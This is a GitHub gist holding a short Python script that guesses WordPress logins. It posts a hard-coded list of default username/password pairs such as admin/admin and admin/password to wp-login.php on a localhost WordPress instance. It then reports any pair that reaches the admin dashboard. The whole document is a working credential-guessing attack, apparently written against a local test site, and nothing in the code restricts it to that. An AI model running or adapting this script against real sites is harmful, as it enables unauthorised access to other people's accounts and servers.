Created
January 15, 2016 23:55
-
-
Save GreeeenApple/5a322bb44eae37ec9727 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import requests | |
Dest = "http://localhost:8080/{0}" | |
req = requests.get(Dest.format("wp-login.php")) | |
cookie_value = dict(req.cookies) | |
# create post id,pw | |
login_id = ["test", "wei", "a", "admin", "admin", "admin", "nimda"] | |
login_pw = ["test", "wei", "a", "admin", "wei", "password", "password"] | |
login_info = zip(login_id, login_pw) | |
user_info = [] | |
for post_id, post_pw in login_info: | |
datas = {"log": post_id, "pwd": post_pw, "wp-submit": "Log In", "redirect_to": Dest.format("wp-admin/"), "testcookie": "1"} | |
req = requests.post(Dest.format("wp-login.php"), data=datas, cookies=cookie_value) | |
if req.status_code >= 400: | |
print("Can't access " + Dest.format("/wp-login.php")) | |
else: | |
print(post_id, post_pw) | |
if "<title>Dashboard" in req.text: | |
print("SUCCESS") | |
user_info.append((post_id, post_pw)) | |
if len(user_info) > 0: | |
print("Login Success!") | |
for view_id, view_pw in user_info: | |
print("ID:{0} PW:{1}".format(view_id, view_pw)) | |
else: | |
print("Can not login..") |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment